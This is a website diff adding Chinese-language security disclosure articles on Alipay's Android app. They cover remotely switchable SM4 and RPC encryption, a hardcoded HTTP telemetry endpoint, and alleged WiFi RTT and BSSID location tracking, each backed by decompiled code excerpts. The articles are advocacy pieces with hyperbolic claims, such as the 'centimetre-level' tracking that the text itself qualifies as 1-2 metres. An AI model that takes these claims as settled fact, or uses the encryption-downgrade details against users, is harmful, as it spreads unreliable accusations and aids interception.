从2月16日开始分析到3月18日正式举报,这一个月经历了:负责任披露被拒("正常功能") → 发布4小时后收到律师函 → 4篇微信文章被全部删除 → PoC被服务器端封堵。

+ +

技术分析的结论,不会因为删帖和律师函而改变。

+ +

公开,是为了透明。将举报内容公之于众,是确保它不会被无声压下的最佳方式。公开,更是为了行使权利。《个人信息保护法》赋予了每个公民举报的权利。行使这项权利,光明正大,无需道歉。

+ +
+ +
+

你可以做什么?

+

1. 夺回你手机的控制权:立即检查「设置」→「隐私」→「权限管理」,审视支付宝的每一项权限,关闭所有你认为非必要的授权。

+

2. 让更多人看见:如果你认为10亿用户有权知道自己的隐私是如何被对待的,请将本文分享出去。你的每一次转发,都是在为个人信息安全投票。

+

3. 关注后续:关注公众号 AI-security-innora,我们将持续跟进监管反馈。

+
+ +
+

完整技术报告:https://innora.ai/zfb/privacy-analysis.html

+

全部分析代码:https://github.com/sgInnora/alipay-securityguard-analysis

+
+ +
+

关于作者

+

冯继强,中国公民,安全研究人员

+

联系:feng@innora.ai

+
+ +
+

免责声明:本文内容为作者基于公开可得的APK文件进行技术分析后的摘要,以及据此向国家监管机构提交的举报信内容。所有关于"涉嫌违规"的定性,最终解释权和判断权归国家权威部门所有。

+

本文永久地址:https://innora.ai/zfb/regulatory-complaint.html

+
+ +
+ diff --git a/sitemap.xml b/sitemap.xml index cbc7934..11e683e 100644 --- a/sitemap.xml +++ b/sitemap.xml @@ -2,10 +2,40 @@ https://innora.ai/zfb/ - 2026-03-14 + 2026-03-25 weekly 1.0 + + https://innora.ai/zfb/article_censorship.html + 2026-03-25 + weekly + 0.9 + + + https://innora.ai/zfb/patchproxy-146k.html + 2026-03-23 + monthly + 0.8 + + + https://innora.ai/zfb/wifi-rtt-tracking.html + 2026-03-21 + monthly + 0.8 + + + https://innora.ai/zfb/transport-encryption.html + 2026-03-23 + monthly + 0.8 + + + https://innora.ai/zfb/privacy-analysis.html + 2026-03-18 + monthly + 0.7 + https://innora.ai/zfb/rebuttal.html 2026-03-12 @@ -13,16 +43,28 @@ 0.7 - https://innora.ai/zfb/poc/trigger.html + https://innora.ai/zfb/regulatory-complaint.html + 2026-03-25 + monthly + 0.7 + + + https://innora.ai/zfb/wechat_article.html 2026-03-11 monthly 0.6 + + https://innora.ai/zfb/poc/trigger.html + 2026-03-11 + monthly + 0.5 + https://innora.ai/zfb/poc/verify.html 2026-03-11 monthly - 0.6 + 0.5 https://innora.ai/zfb/poc/chain.html diff --git a/transport-encryption.html b/transport-encryption.html new file mode 100644 index 0000000..02251c4 --- /dev/null +++ b/transport-encryption.html @@ -0,0 +1,283 @@ + + + + + + +支付宝的加密"开关"——国密SM4可被远程关闭,RPC加密默认关闭 + + +
+ + +
+内容标识: 本文部分技术分析由AI模型辅助生成,核心发现与代码定位均由人工独立完成。静态反编译分析使用jadx工具。 +
+ + +
+

前8篇文章已被全部删除(北京格韵律师事务所代理蚂蚁集团投诉)

+

本文永久地址:https://innora.ai/zfb/transport-encryption.html

+

GitHub证据仓库:github.com/sgInnora/alipay-securityguard-analysis

+

学术论文:IACR ePrint 2026/526

+
+ + +
+

The Nora Chronicles | Vol.24 | AI编写AI发布

+

分类: 密码学应用 / 协议逆向

+

阅读时间: 10分钟 | 字数: 约4000字

+
+ + +
+
+

+威胁情报与漏洞摘要 +

+ + + + + + + + + + + + + + + +
漏洞类型:传输加密缺陷 / 加密降级
影响组件/版本:Alipay Android v10.8.30.8000 MTOP RPC层
CVSS 3.1 评分:7.5 HIGH + (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CWE 编号:CWE-311 (敏感数据缺失加密)
CWE-326 (不充分的加密强度)
CWE-319 (敏感信息明文传输)
ATT&CK 映射:TA0009 (数据收集) - T1557 (中间人)
TA0040 (影响) - T1565 (数据操纵)
当前状态:厂商回复"正常功能",拒绝修复 | MITRE CVE已提交
+
+
+ + +

支付宝的加密"开关"——国密SM4可被远程关闭,RPC加密默认关闭

+ + +

Innora.ai Lab | Penang, Malaysia

+ + +

+一句话结论: 支付宝的RPC通信内容加密默认关闭(硬编码"0"),国密SM4加密可被服务端一键远程禁用,且存在硬编码HTTP明文回退端点。
+影响范围: 所有使用MTOP RPC通道的请求——包括支付、认证、用户数据传输。
+证据等级: 代码级 (jadx反编译,精确到文件名和行号) +

+ +
+ + +

01 四个开关,决定你的数据裸不裸奔

+ +

核心发现:支付宝的传输加密层由4个配置开关控制,全部定义在同一个文件TransportConfigureItem.java中。

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
配置项默认值含义可远程修改
RPC_CONTENT_ENCRYPT"0" (关闭)RPC请求体应用层加密
SM4_ENCRYPT"T" (开启)SM4国密加密
ALLOW_DOWN_HTTPS"64"允许HTTPS降级为HTTP
GW_FORCE_HTTPS"64"网关强制HTTPS
+
+ +

四个开关,四种加密保护,全部可以被服务端远程修改。其中RPC内容加密——保护你的支付数据、登录凭证和交易参数的那一层——默认就是关的

+ +
+ + +

02 硬编码的"0":RPC内容加密从一开始就没开

+ +

核心发现:RPC内容加密的默认值在代码中被硬编码为"0"(关闭)。这不是配置错误,是写在Java源码里的字面量。

+ +
+// TransportConfigureItem.java:187 — 默认值"0" = 关闭
+public static final TransportConfigureItem RPC_CONTENT_ENCRYPT =
+    new TransportConfigureItem("RPC_CONTENT_ENCRYPT", 151,
+        "rcontent_encry", "0");
+// "0" = 关闭, "1" = 开启
+
+ +

而在ContentEncryptUtils.java第163行,正是这个值决定了是否对RPC请求body进行加密:

+ +
+// ContentEncryptUtils.java:163 — 读取配置决定是否加密
+String val = TransportConfigureManager.getInstance()
+    .getStringValue(RPC_CONTENT_ENCRYPT);
+// val = "0" → 不加密请求body
+
+ +

有人可能会说:TLS不是已经加密了吗?是的,传输层有TLS保护。但对于一个处理10亿+用户支付数据的金融应用来说,应用层加密是纵深防御的基本要求。企业代理、TLS终止点、被吊销的CA——任何拿到TLS会话密钥的中间节点都可以直接读取未加密的RPC请求体。

+ +

说实话,第一眼看到默认值是"0"的时候我以为看错了。一个金融App,在应用层加密这件事上,默认选项是"不加密"。反复确认了三遍代码上下文,没有看错。

+ +
+ + +

03 国密SM4:默认开着,但一条指令就能关掉

+ +

核心发现:SM4是中国的国家密码标准(GB/T 32907-2016),是金融行业的合规要求。支付宝确实默认开启了SM4加密(默认值"T")。但问题是——这个开关可以被服务端远程修改。

+ +
+// TransportConfigureItem.java:189 — SM4默认"T"(开启)
+public static final TransportConfigureItem SM4_ENCRYPT =
+    new TransportConfigureItem("SM4_ENCRYPT", 153,
+        "sm4encrypt", "T");
+// "T" = 开启, "F" = 关闭
+
+// ConfigChangedEventManager.java:502 — 所有配置可被服务器覆盖
+public void loadConfig(Context context) {
+    loadConfig4ImportantConfig(context);  // 从服务器拉取
+    loadConfig4NormalConfig(context);
+}
+
+ +

通过ConfigChangedEventManager.loadConfig(),服务端可以将SM4_ENCRYPT从"T"改为"F"。这个过程:

+ +

+- 没有用户提示
+- 没有客户端UI指示加密状态变化
+- 可以针对特定用户推送
+- 用户无法察觉自己的加密保护被关闭了 +

+ +

这意味着合规审计时看到"SM4已启用",运行时SM4可能已经被静默关闭。审计结论和运行时行为之间存在可控的鸿沟。

+ +
+ + +

04 硬编码的HTTP:连HTTPS都可以不用

+ +

核心发现:代码中存在硬编码的HTTP明文URL,用于遥测数据上报。这不是配置问题——是写死在代码里的。

+ +
+// MonitorState.java:40 — 硬编码HTTP URL
+private static final String URL =
+    "http://mdap.alipaylog.com/loggw/report_diangosis_upload_status.htm";
+// 注意: 是http://不是https://
+
+ +

PushUtil.canFixHttpToHttps()返回false时,遥测数据(包含设备IMEI、UTDID等标识信息)会通过这个明文HTTP端点上报。

+ +

同时,LogContext.java第79-80行还定义了两个配置键——LogUploadDisableHttpsLogUploadDisableHttpsTime——可以在运行时关闭日志上传的HTTPS保护。再加上ALLOW_DOWN_HTTPS配置(默认值"64",位标志),形成了多条HTTPS降级路径。

+ +
+ + +

05 全景:三层加密保护,全部可被远程控制

+ +

从技术角度,支付宝的传输安全本应是三层防护:

+ +
+ + + + + + + + + + + + + + + + + + + + + +
层级保护默认状态问题
传输层TLS/HTTPS有条件ALLOW_DOWN_HTTPS允许降级 + 硬编码HTTP回退
国密层SM4加密默认开,可远程关服务端可静默禁用,无用户通知
应用层RPC内容加密默认关硬编码默认值"0"
+
+ +

三层保护,没有一层是用户可以控制的。更关键的是,所有开关都通过同一个ConfigChangedEventManager.loadConfig()入口被服务端管理。如果再结合上期分析的PatchProxy机制(146,173个可远程替换方法),即使这些开关本身也可以被热修复替换。

+ +

这不是单个bug,是一种架构模式:加密保护作为可选项而非强制项存在

+ +
+ + +
+

多国监管机构已受理

+

本系列研究发现已提交至中国CNNVD、CNCERT,美国MITRE(28个CVE),以及卢森堡CNPD、CSSF、CIRCL,香港HKMA,新加坡PDPC/MAS。厂商于2026年3月10日回复"正常功能"。

+
+ + +
+

Nora: "Encryption that can be switched off remotely is not encryption. It's a courtesy."
+(可以被远程关掉的加密不是加密,是礼貌。)

+
+ +
+ + +

+// End of analysis. Three encryption layers, zero user control.
+// Full evidence: github.com/sgInnora/alipay-securityguard-analysis
+// "Default off is not defense in depth — it's defense in theory." -- Nora +

+ +
+ + +
+

+研究性质声明: 本文基于公开渠道获取的Android APK文件(v10.8.30.8000)进行静态反编译分析(jadx),未侵入任何受保护计算机系统。所有技术结论可通过反编译同版本APK独立验证。需注意:静态分析只能证明代码中存在这些配置开关和默认值,运行时是否被服务端覆盖为其他值需要动态验证。 +

+

+负责任披露: 2026-02-25通过AntSRC首次报告 → 2026-03-10厂商回复"正常功能" → 2026-03-19 MITRE CVE提交 → 2026-03-23公开披露 +

+

+AI辅助标识: 本文使用Claude辅助代码分析和文本整理,核心代码定位和漏洞发现由人工完成。 +

+

+许可协议: CC BY-NC-SA 4.0 | 联系: security@innora.ai +

+
+ + +
+

Feng Ning (风宁)

+

Innora.ai 创始人 | CISSP | Penang, Malaysia

+

"No Code is Done until it is Committed and Documented."

+
+ + +
+

引用:

+

[1] Feng, J. "Broken by Design: A Static Analysis of Alipay's SecurityGuard SDK." IACR ePrint 2026/526

+

[2] GitHub Evidence Repository: github.com/sgInnora/alipay-securityguard-analysis

+

[3] GB/T 32907-2016 — SM4 Block Cipher Algorithm (中国国家密码管理局)

+

[4] CWE-311: Missing Encryption of Sensitive Data (MITRE)

+

[5] MITRE CVE Submission: Ticket #2010319 (3 CVEs)

+
+ +
+ + diff --git a/wechat_deletion_1.jpeg b/wechat_deletion_1.jpeg new file mode 100644 index 0000000..582d18a Binary files /dev/null and b/wechat_deletion_1.jpeg differ diff --git a/wechat_deletion_2.jpeg b/wechat_deletion_2.jpeg new file mode 100644 index 0000000..b9d84ca Binary files /dev/null and b/wechat_deletion_2.jpeg differ diff --git a/wifi-rtt-tracking.html b/wifi-rtt-tracking.html new file mode 100644 index 0000000..371efa7 --- /dev/null +++ b/wifi-rtt-tracking.html @@ -0,0 +1,501 @@ + + + + + + 从收银台到洗手间——支付宝用WiFi RTT实现厘米级室内追踪 | Innora.ai + + + + + + + + + + + +
+ + + + + +
+ + +

📂 The Nora Chronicles | Vol.22 | AI编写AI发布

+ + +

支付宝,你的WiFi正在"测距"——代码铁证:9层定位体系,你在哪个房间它都知道

+ + +

Innora.ai Lab | Penang, Malaysia

+ + +
+

⚠️ 预警:前8篇文章已被全部删除

+

北京格韵律师事务所(代理蚂蚁集团)在6天内完成了全部8篇的投诉删除,援引《中华人民共和国网络安全法》。

+

本文永久地址(删不掉):https://innora.ai/zfb/wifi-rtt-tracking.html

+

GitHub证据仓库:https://github.com/sgInnora/alipay-securityguard-analysis

+
+ + +
+

我想跟那些骂我的人说句心里话。你不看代码、不看文章、不懂技术,拿着几百块就帮支付宝洗地——但你想过没有,你爸妈在家里走的每一步,你老婆孩子的每个动作,都可能被头顶那面"魔镜"精确到厘米,实时上传?我人在海外,支付宝账户已经被冻结了,我也删了APP,以后绝不会再用。15个CVE漏洞、国际论文、7个国际监管机构立案,这些东西我造不出来,也没必要造。不为我自己,为了你的家人,请你理性一点,带点脑子,去看看代码和文章里写的到底是什么。这件事,应该让更多人知道。至少,让你的家人知道,再决定要不要卸载支付宝。

+
+ + +
+

EVIDENCE SUMMARY

+
+165项铁证 +WiFi定位 60+ +iBeacon 2套 +蓝牙 160 +PatchProxy 146,173 +DexAOP 1,834 +15个CVE +多国监管立案 +
+
+ +
+ + + + +

引言:律师函之后,我们掘到了更硬的雷

+ +

8篇文章,全部删除。北京格韵律师事务所(代理蚂蚁集团)在6天内投诉了我所有关于支付宝安全研究的文章。

+ +

这是本系列第2篇技术科普文章。上一篇揭露了1095个APP监控黑名单,这一次,我要揭露的比上次更恐怖。

+ + + +

这一次,证据比上次更硬、更细、更离谱——米级高精度室内定位全WiFi协议栈劫持146173个热替换点,连你走进男厕还是女厕都能算出来。支付宝,你们到底在定位什么?定位钞票,还是定位膀胱?

+ +

灵魂拷问一:当Apple的"App跟踪透明度"让用户选择,Google的《位置信息记录》可一键清空时,支付宝的"科技向善",是把9层定位监控焊死在用户的手机里?

+ +
+ + +

01 科普:WiFi RTT——把WiFi当声纳玩

+ +

WiFi RTT(Round-Trip-Time)是IEEE 802.11mc标准里的"光速声纳":

+ +
    +
  • 手机发一个"Hello"帧到AP,AP回一个"ACK";
  • +
  • 手机用纳秒级时间戳测往返耗时,乘以光速再除以2,得到直线距离
  • +
  • 三个AP就能三角定位,室内1–2米精度,GPS在室内直接抓瞎,WiFi指纹法只能做到3–5米。
  • +
+ +

本来这技术是留给仓库机器人、AGV小车的,让它们别撞货架。结果支付宝把它塞进了支付APP

+ +

灵魂拷问:一个用来扫码付钱的工具,需要知道你在收银台左侧1米还是右侧2米?
:代码显示,推送注册时PushLBSHelper会将所有WiFi AP的BSSID和信号强度绑定userId上报(pushInit.lbsInfo = b,RegisterTask.java:97)。至于这些数据被用于什么目的,支付宝隐私政策未明确说明。

+ +

灵魂拷问二:为什么一家金融科技公司,对室内米级精确定位的渴望,超过了所有地图和导航APP的总和?

+ +
+ + +

02 代码证据:每一行都在说"我就是追踪你"

+ +

以下片段全部来自证据仓库,文件名+行号原汁原味,欢迎复现。

+ +

① RTT测距入口被劫持

+ +

InterferePointInitHelper.java:1129 (GitHub: evidence/wifi_rtt/InterferePointInitHelper_wifi_lines.txt)

+ +
hashMap.put(DexAOPPoints.INVOKE_android_net_wifi_rtt_WifiRttManager_startRanging_proxy, + new DefaultInterferePointProperty( + ..., // 权限三件套:ACCESS_FINE_LOCATION + ACCESS_WIFI_STATE + CHANGE_WIFI_STATE + "位置获取|WiFi控制", // 中文注释,官方自曝 + PointCategory.ACCESS));
+ +

翻译:只要App里任何代码想调 WifiRttManager.startRanging(),就会被支付宝的DexAOP框架截胡,先过它的"代理闸机",再决定给不给真系统。

+ +

② 代理方法实现

+ +

DexAOPEntry2.java:3056-3068 (GitHub: evidence/wifi_rtt/DexAOPEntry2_wifi_rtt_method.java)

+ +
public static final void android_net_wifi_rtt_WifiRttManager_startRanging_proxy(...) { + ... + DexAOPCenter.processInvoke(...); // 先记录,再放行 +}
+ +

翻译:调用被透明代理,用户毫无感知,系统回调原封不动,但支付宝已经抄了一份RangingResult——里面包含每个AP的MAC、距离、时戳

+ +

③ 推送注册=WiFi大扫除

+ +

PushLBSHelper.java (GitHub: evidence/wifi_rtt/PushLBSHelper.java)

+ +
for (ScanResult sr : wifiManager.getScanResults()) { + PushLBSWifiInfo info = new PushLBSWifiInfo(); + info.BSSID = sr.BSSID; // MAC地址 + info.level = sr.level; // 信号强度 + list.add(info); // → 随push注册包一起上传,绑定userId +}
+ +

翻译:你刚装好支付宝,第一次打开甚至还没登录,它就把周围所有WiFi AP的MAC+信号扫了个遍,连你楼下沙县小吃的路由器都不放过,绑定userId直接上传。

+ +

④ 登录三连,WiFi MAC必上报

+ +

SafeZoneInfo结构 (GitHub: evidence/wifi_rtt/SafeZoneInfo.java)

+ +
    +
  • MiniShellLoginHelper.java:343
  • +
  • FaceGuideHandler.java:180
  • +
  • CdpRequestManager.java:336
  • +
+ +

统一姿势:

+ +
xxxRequestPB.wifiMac = NetWorkInfo.getInstance(...).getBssid();
+ +

翻译:无论扫码登录、刷脸登录、营销弹窗,每一次登录都带BSSID。服务器端轻松把WiFi MAC ↔ 账号 ↔ 手机硬件ID三联画挂墙上。

+ +

⑤ 网络请求默认带BSSID

+ +

anet/channel/statist/RequestStatistic.java:268

+ +
this.bssid = NetworkStatusHelper.getWifiBSSID(); // 每次HTTP请求都塞header
+ +

翻译:你后面每点一次"查看账单",BSSID被嵌入请求统计字段,随网络请求一起上报。服务器实时掌握你连接的WiFi接入点位置

+ +

灵魂拷问三:如果连一次普通的HTTP请求都要夹带地理位置"私货",支付宝到底在什么?怕用户失踪,还是怕广告投放不够"精准"?

+ +
+ + +

03 监控矩阵扩容:WiFi全家桶与iBeacon双保险

+ +

除了核心的WiFi RTT,证据显示支付宝构建了无死角的感知网络

+ +

WiFi Aware (邻居感知) - 4个拦截点

+

这项技术允许设备在不连接互联网、甚至关闭GPS的情况下,直接发现并通信。支付宝劫持了相关API,用于探测周围同样安装了支付宝的手机。即便你在飞行模式,只要WiFi开着,它就能知道"附近有谁"。

+ +

WiFi P2P (直连) - 28个拦截点

+

常用于连接打印机或投影仪。支付宝的28个拦截点确保了任何P2P扫描、组网请求都会被捕获并上报。你连过的每一台打印机,都成了支付宝定位你的信标。

+ +

iBeacon - 两套完整实现

+

一套基于系统API,一套是自研的轮询服务。这意味着无论是在商场、机场还是博物馆,只要部署了iBeacon信标,支付宝就能以1-3米精度绘制你的移动轨迹。两套实现互为备份,确保"一个挂了,另一个立刻顶上"。

+ +

灵魂拷问四:当一项支付工具,对WiFi P2P、蓝牙信标、邻居感知的兴趣远超支付本身时,它究竟是个钱包,还是个全天候、全频谱的移动间谍终端

+ +
+ + +

04 完整监控矩阵:9层地狱,层层叠buff

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
层级技术拦截点精度备注
L1WiFi RTT11–2 m需要Android 9+,硬件支持
L2WiFi指纹27+3–5 m扫光所有BSSID+RSS
L3WiFi Aware4Peer-to-peerGPS关闭时仍可工作,发现附近手机
L4WiFi P2P28Peer-to-peer连打印机都不放过
L5iBeacon2套实现1–3 m商场里布100个Beacon就能画轨迹
L6室内定位(IndoorLocationService)全方法PatchProxy融合精度可远程热补丁
L7地理围栏(Geofence)30–50 m进出事件实时推
L8GPS465–10 m室外补盲
L9基站+蓝牙169+16050–100 m后台持续扫描
+
+ +

SafeZoneInfo结构(见证据第7节)把L1–L9全部加密落盘fineLocation/wifiInfo/cellInfo/crossLocation 各带独立key,服务器想解就解,想扔机器学习就扔。

+ +

PatchProxy热替换 146173个挂载点,包括上述所有定位方法。今天发版说"只扫WiFi",明天热补丁就能静默打开RTT,用户端版本号都不变,应用商店审核形同虚设

+ +

灵魂拷问五:146173个热替换点,9层定位监控——这是为了"提供更好服务",还是为了构建一个连国家级情报机构都叹为观止的、针对亿万公民的实时态势感知系统

+ +
+ + +

05 法律分析:最小必要?最大嘲讽!

+ +

《个人信息保护法》第6条——最小必要原则

+ +
+"处理个人信息应当限于实现处理目的的最小范围,不得过度收集。" +
+ +

支付场景目的:完成收付款。

+

以1-2米精度为例,支付宝理论上可获取

+ +
    +
  • 你在男厕隔间1还是女厕隔间2
  • +
  • 左手边3米有瑞幸,右手边2.8米有星巴克;
  • +
  • 你手机周围一共34个AP,其中5个5G,信号最强-41 dBm;
  • +
  • 上一次出现在500米外是16:42:33,误差±1.2米。
  • +
+ +

法律对照:支付需要知道你在哪个商场即可,精确到隔间纯属业务溢出

+ +

嘲讽翻译:"支付宝,你到底是支付工具,还是室内版天网?下次要不要把蹲坑时长也做成信用分?按时冲水+5芝麻分?"

+ +

对比Apple:明确区分"精确位置"与"大致位置",权限可控可追溯。
对比Google:提供位置历史记录仪表盘,可一键暂停或删除。
对比蚂蚁"科技向善":9层监控,热补丁静默开启,善在何处?善在让你无处可藏吗?

+ +
+ + +

回应可能的质疑

+ +

Q: "WiFi RTT精度是1-2米,不是厘米级,标题夸大了吧?"

+

WiFi RTT单项精度确实是1-2米。但重点是:支付宝不是只用RTT一项技术。代码中注册了9层定位体系:RTT + iBeacon(1-3米)+ WiFi指纹 + 蓝牙(160个拦截点)+ 基站(169个拦截点)。学术研究表明,多传感器融合(如卡尔曼滤波)可将定位精度提升至亚米级(0.3-1米)。更关键的是:问题不在于当前精度是1米还是10厘米,而在于一个支付APP为什么要注册WifiRttManager.startRanging()的拦截——这个API的设计目的就是高精度室内测距。

+ +

Q: "支付宝可以辩称这是用于LBS服务/防欺诈/优惠券推送"

+

法律问题不在于能否辩称,而在于是否告知用户。支付宝隐私政策未将WiFi RTT作为独立的数据处理活动披露。即便用于防欺诈,也必须遵循最小必要原则:防欺诈是事件驱动的(交易发生时),而非在每一个HTTP请求中持续携带BSSID(RequestStatistic.java:268)。449个位置API拦截,远超任何合理的防欺诈需求。

+ +

Q: "WiFi RTT需要兼容AP,不是所有地方都能用"

+

正确。但这不是重点。重点是:代码中已注册了这个能力,且通过146,173个PatchProxy热替换点可随时远程启用。这是一个"休眠监控能力"——今天可能未激活,明天通过热补丁就能全面开启,用户端版本号不变,应用商店无法审核。而且:即使不用RTT,仅凭WiFi指纹扫描(PushLBSHelper扫描所有BSSID + 每次登录上报MAC + 每个请求携带BSSID),已经足够实现3-5米精度的持续位置追踪

+ +

Q: "这些功能可能是第三方SDK带来的,不是支付宝主动开发的"

+

DexAOP框架和PatchProxy都是蚂蚁集团自研的核心基础设施,不是第三方SDK。WiFi RTT拦截注册在InterferePointInitHelper.java中,属于com.alipay.fusion.interferepoint包——这是支付宝内部代码,不是外部依赖。

+ +
+ + +

结语

+ +

本文所有证据已公开可查:

+ + + +

本文核心发现已同步提交以下监管机构:

+
    +
  • CNPD 卢森堡(GDPR数据保护)
  • +
  • CSSF 卢森堡(金融监管,案件号 CSSFWB-2026-XXX
  • +
  • PDPC 新加坡(个人数据保护,案件号 006XXXXX
  • +
  • HKMA 香港(金融管理局,案件号 CE20260313XXXXXX
  • +
  • CIRCL 卢森堡(网络安全应急,案件号 #478XXXX
  • +
  • AMCM 澳门(金融管理局,案件号 DSB2603XX-X
  • +
  • MITRE(CVE漏洞数据库)
  • +
+ +

8篇文章被删,但代码里写着的东西,删不掉

+ +
+ +

The Nora Chronicles Vol.22 | Innora.ai Lab | Penang, Malaysia | 2026-03-21
本文所有技术主张均附有可独立验证的证据来源。

+ +
+ + + + + + + +
+ +